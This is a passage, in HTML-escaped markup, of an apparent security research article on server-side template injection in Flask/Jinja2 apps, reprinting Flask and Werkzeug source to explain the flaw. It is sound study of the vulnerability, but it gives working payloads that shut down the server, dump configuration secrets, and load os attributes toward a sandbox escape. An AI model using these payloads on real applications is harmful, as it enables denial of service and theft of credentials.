    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;render_template_string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;template&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
        &lt;span class=&#34;nb&#34;&gt;dir&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;dir&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
        &lt;span class=&#34;n&#34;&gt;help&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;help&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
        &lt;span class=&#34;nb&#34;&gt;locals&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;locals&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
    &lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;404&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The call to &lt;code&gt;render_template_string&lt;/code&gt; now includes the &lt;code&gt;dir&lt;/code&gt;, &lt;code&gt;help&lt;/code&gt;, and &lt;code&gt;locals&lt;/code&gt; built-ins, which adds them to the template context so we can use them to conduct introspection through the vulnerability and find out what is programmatically available to the template.&lt;/p&gt;
&lt;p&gt;Let&#39;s pause briefly and talk about what the documentation says about the template context. There are several origins from which objects end up in the template context.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://jinja.pocoo.org/docs/dev/templates/#builtin-globals&#34;&gt;Jinja globals&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://flask.pocoo.org/docs/0.10/templating/#standard-context&#34;&gt;Flask template globals&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Stuff explicitly added by the developer&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We are mostly concerned about items #1 and #2 because these are universal defaults, providing reasonable expectation that they will be available anywhere we find SSTI in an application using the Flask/Jinja2 stack. Item #3 is application dependent and can be accomplished in a number of ways. &lt;a href=&#34;http://stackoverflow.com/questions/6036082/call-a-python-function-from-jinja2&#34;&gt;This stackoverflow discussion&lt;/a&gt; contains a few examples. While we won&#39;t dive into item #3 in this article, it is absolutely something that to consider when conducting static source code analysis of applications leveraging the Flask/Jinja2 stack.&lt;/p&gt;
&lt;p&gt;To continue with introspection, our methodology should look something like this.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Read the documentation!&lt;/li&gt;
&lt;li&gt;Introspect the &lt;code&gt;locals&lt;/code&gt; object using &lt;code&gt;dir&lt;/code&gt; to see everything that is available to the template context.&lt;/li&gt;
&lt;li&gt;Dig into all objects using &lt;code&gt;dir&lt;/code&gt; and &lt;code&gt;help&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Analyze the Python source code of anything interesting (after all, everything in the stack is open source).&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Results&lt;/h3&gt;
&lt;p&gt;We make our first interesting discovery by introspecting the &lt;code&gt;request&lt;/code&gt; object. The &lt;code&gt;request&lt;/code&gt; object is a Flask template global that represents &#34;The current request object (flask.request).&#34; It contains all of the same information you would expect to see when accessing the &lt;code&gt;request&lt;/code&gt; object in a view. Within the &lt;code&gt;request&lt;/code&gt; object is an object named &lt;code&gt;environ&lt;/code&gt;. The &lt;code&gt;request.environ&lt;/code&gt; object is a dictionary of objects related to the server environment. One such item in the dictionary is a method named &lt;code&gt;shutdown_server&lt;/code&gt; assigned to the key &lt;code&gt;werkzeug.server.shutdown&lt;/code&gt;. So, guess what injecting &lt;code&gt;{{ request.environ[&#39;werkzeug.server.shutdown&#39;]() }}&lt;/code&gt; does to the server? You guessed it. An extremely low effort denial-of-service. This method does not exist when running the applicatiom using gunicorn, so the vulnerability may be limited to the development server.&lt;/p&gt;
&lt;p&gt;Our second interesting discovery comes from introspecting the &lt;code&gt;config&lt;/code&gt; object. The &lt;code&gt;config&lt;/code&gt; object is a Flask template global that represents &#34;The current configuration object (flask.config).&#34; It is a dictionary-like object that contains all of the configuration values for the application. In most cases, this includes sensitive values such as database connection strings, credentials to third party services, the &lt;code&gt;SECRET_KEY&lt;/code&gt;, etc. Viewing these configuration items is as easy as injecting a payload of &lt;code&gt;{{ config.items() }}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;/static/images/posts/ssti_flask_4.png&#34;&gt;&lt;img alt=&#34;&#34; src=&#34;/static/images/posts/ssti_flask_4.png&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And don&#39;t think that storing these configuration items in environment variables protects against this disclosure. The &lt;code&gt;config&lt;/code&gt; object contains all of the configuration values AFTER they have been resolved by the framework.&lt;/p&gt;
&lt;p&gt;Our most interesting discovery also comes from introspecting the &lt;code&gt;config&lt;/code&gt; object. While the &lt;code&gt;config&lt;/code&gt; object is dictionary-like, it is a subclass that contains several unique methods: &lt;code&gt;from_envvar&lt;/code&gt;, &lt;code&gt;from_object&lt;/code&gt;, &lt;code&gt;from_pyfile&lt;/code&gt;, and &lt;code&gt;root_path&lt;/code&gt;. Finally, an opportunity to dig into source code. Below is the code for the &lt;code&gt;from_object&lt;/code&gt; method of the &lt;code&gt;Config&lt;/code&gt; class, &lt;code&gt;flask/config.py&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    &lt;span class=&#34;k&#34;&gt;def&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;from_object&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;obj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;sd&#34;&gt;&#34;&#34;&#34;Updates the values from the given object.  An object can be of one&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;        of the following two types:&lt;/span&gt;

&lt;span class=&#34;sd&#34;&gt;        -   a string: in this case the object with that name will be imported&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;        -   an actual object reference: that object is used directly&lt;/span&gt;

&lt;span class=&#34;sd&#34;&gt;        Objects are usually either modules or classes.&lt;/span&gt;

&lt;span class=&#34;sd&#34;&gt;        Just the uppercase variables in that object are stored in the config.&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;        Example usage::&lt;/span&gt;

&lt;span class=&#34;sd&#34;&gt;            app.config.from_object(&#39;yourapplication.default_config&#39;)&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;            from yourapplication import default_config&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;            app.config.from_object(default_config)&lt;/span&gt;

&lt;span class=&#34;sd&#34;&gt;        You should not use this function to load the actual configuration but&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;        rather configuration defaults.  The actual config should be loaded&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;        with :meth:`from_pyfile` and ideally from a location not within the&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;        package because the package might be installed system wide.&lt;/span&gt;

&lt;span class=&#34;sd&#34;&gt;        :param obj: an import name or object&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;        &#34;&#34;&#34;&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;isinstance&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;obj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;string_types&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
            &lt;span class=&#34;n&#34;&gt;obj&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;import_string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;obj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;dir&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;obj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;isupper&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;():&lt;/span&gt;
                &lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;getattr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;obj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;

    &lt;span class=&#34;k&#34;&gt;def&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;fm&#34;&gt;__repr__&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&#39;&amp;lt;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%s&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt; &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%s&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;gt;&#39;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;%&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;vm&#34;&gt;__class__&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;vm&#34;&gt;__name__&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;dict&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;fm&#34;&gt;__repr__&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We see here that if we pass a string object to the &lt;code&gt;from_object&lt;/code&gt; method, it passes the string to &lt;code&gt;import_string&lt;/code&gt; method from the &lt;code&gt;werkzeug/utils.py&lt;/code&gt; module, which attempts to import anything from the path whose name matches and return it.&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=&#34;k&#34;&gt;def&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;import_string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;import_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;silent&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;False&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;sd&#34;&gt;&#34;&#34;&#34;Imports an object based on a string.  This is useful if you want to&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;    use import paths as endpoints or something similar.  An import path can&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;    be specified either in dotted notation (``xml.sax.saxutils.escape``)&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;    or with a colon as object delimiter (``xml.sax.saxutils:escape``).&lt;/span&gt;

&lt;span class=&#34;sd&#34;&gt;    If `silent` is True the return value will be `None` if the import fails.&lt;/span&gt;

&lt;span class=&#34;sd&#34;&gt;    :param import_name: the dotted name for the object to import.&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;    :param silent: if set to `True` import errors are ignored and&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;                   `None` is returned instead.&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;    :return: imported object&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;    &#34;&#34;&#34;&lt;/span&gt;
    &lt;span class=&#34;c1&#34;&gt;# force the import name to automatically convert to strings&lt;/span&gt;
    &lt;span class=&#34;c1&#34;&gt;# __import__ is not able to handle unicode strings in the fromlist&lt;/span&gt;
    &lt;span class=&#34;c1&#34;&gt;# if the module is a package&lt;/span&gt;
    &lt;span class=&#34;n&#34;&gt;import_name&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;str&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;import_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;replace&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&#39;:&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&#39;.&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
    &lt;span class=&#34;k&#34;&gt;try&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;try&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;nb&#34;&gt;__import__&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;import_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;except&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;ImportError&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&#39;.&#39;&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;not&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;import_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
                &lt;span class=&#34;k&#34;&gt;raise&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sys&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;modules&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;import_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;

        &lt;span class=&#34;n&#34;&gt;module_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;obj_name&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;import_name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rsplit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&#39;.&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;try&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;n&#34;&gt;module&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;__import__&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;module_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;None&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;None&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;obj_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;except&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;ImportError&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;c1&#34;&gt;# support importing modules not yet set up by the parent module&lt;/span&gt;
            &lt;span class=&#34;c1&#34;&gt;# (or package for that matter)&lt;/span&gt;
            &lt;span class=&#34;n&#34;&gt;module&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;import_string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;module_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;

        &lt;span class=&#34;k&#34;&gt;try&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;getattr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;module&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;obj_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;except&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;AttributeError&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;as&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;k&#34;&gt;raise&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;ImportError&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;

    &lt;span class=&#34;k&#34;&gt;except&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;ImportError&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;as&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;not&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;silent&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;n&#34;&gt;reraise&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;
                &lt;span class=&#34;n&#34;&gt;ImportStringError&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
                &lt;span class=&#34;n&#34;&gt;ImportStringError&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;import_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt;
                &lt;span class=&#34;n&#34;&gt;sys&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;exc_info&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;from_object&lt;/code&gt; method then adds all attributes of the newly loaded module whose variable name is all uppercase to the &lt;code&gt;config&lt;/code&gt; object. The interesting thing about this is that attributes added to the &lt;code&gt;config&lt;/code&gt; object maintain their type, which means functions added to the &lt;code&gt;config&lt;/code&gt; object can be called from the template context via the &lt;code&gt;config&lt;/code&gt; object. To demonstrate this, inject &lt;code&gt;{{ config.items() }}&lt;/code&gt; into the SSTI vulnerability and note the current configuration entries.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;/static/images/posts/ssti_flask_5.png&#34;&gt;&lt;img alt=&#34;&#34; src=&#34;/static/images/posts/ssti_flask_5.png&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Then inject &lt;code&gt;{{ config.from_object(&#39;os&#39;) }}&lt;/code&gt;. This will add to the &lt;code&gt;config&lt;/code&gt; object all attributes of the &lt;code&gt;os&lt;/code&gt; library whose variable names are all uppercase. Inject &lt;code&gt;{{ config.items() }}&lt;/code&gt; again and notice the new configuration items. Also notice the types of these configuration items.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;/static/images/posts/ssti_flask_6.png&#34;&gt;&lt;img alt=&#34;&#34; src=&#34;/static/images/posts/ssti_flask_6.png&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Any callable items added to the &lt;code&gt;config&lt;/code&gt; object can now be called through the SSTI vulnerability. The next step is finding functionality within the available importable modules that can be manipulated to break out of the template sandbox.&lt;/p&gt;
&lt;p&gt;The following script replicates the behavior of &lt;code&gt;from_object&lt;/code&gt; and &lt;code&gt;import_string&lt;/code&gt; and analyzes the entire Python Standard Library for importable items.&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=&#34;ch&#34;&gt;#!/usr/bin/env python&lt;/span&gt;

&lt;span class=&#34;kn&#34;&gt;from&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nn&#34;&gt;stdlib_list&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stdlib_list&lt;/span&gt;
&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nn&#34;&gt;argparse&lt;/span&gt;
&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nn&#34;&gt;sys&lt;/span&gt;

&lt;span class=&#34;k&#34;&gt;def&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;import_string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;import_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;silent&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;True&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
    &lt;span class=&#34;n&#34;&gt;import_name&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;str&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;import_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;replace&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&#39;:&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&#39;.&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
    &lt;span class=&#34;k&#34;&gt;try&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;try&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;nb&#34;&gt;__import__&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;import_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;except&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;ImportError&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&#39;.&#39;&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;not&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;import_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
                &lt;span class=&#34;k&#34;&gt;raise&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sys&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;modules&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;import_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;

        &lt;span class=&#34;n&#34;&gt;module_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;obj_name&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;import_name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rsplit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&#39;.&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;try&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
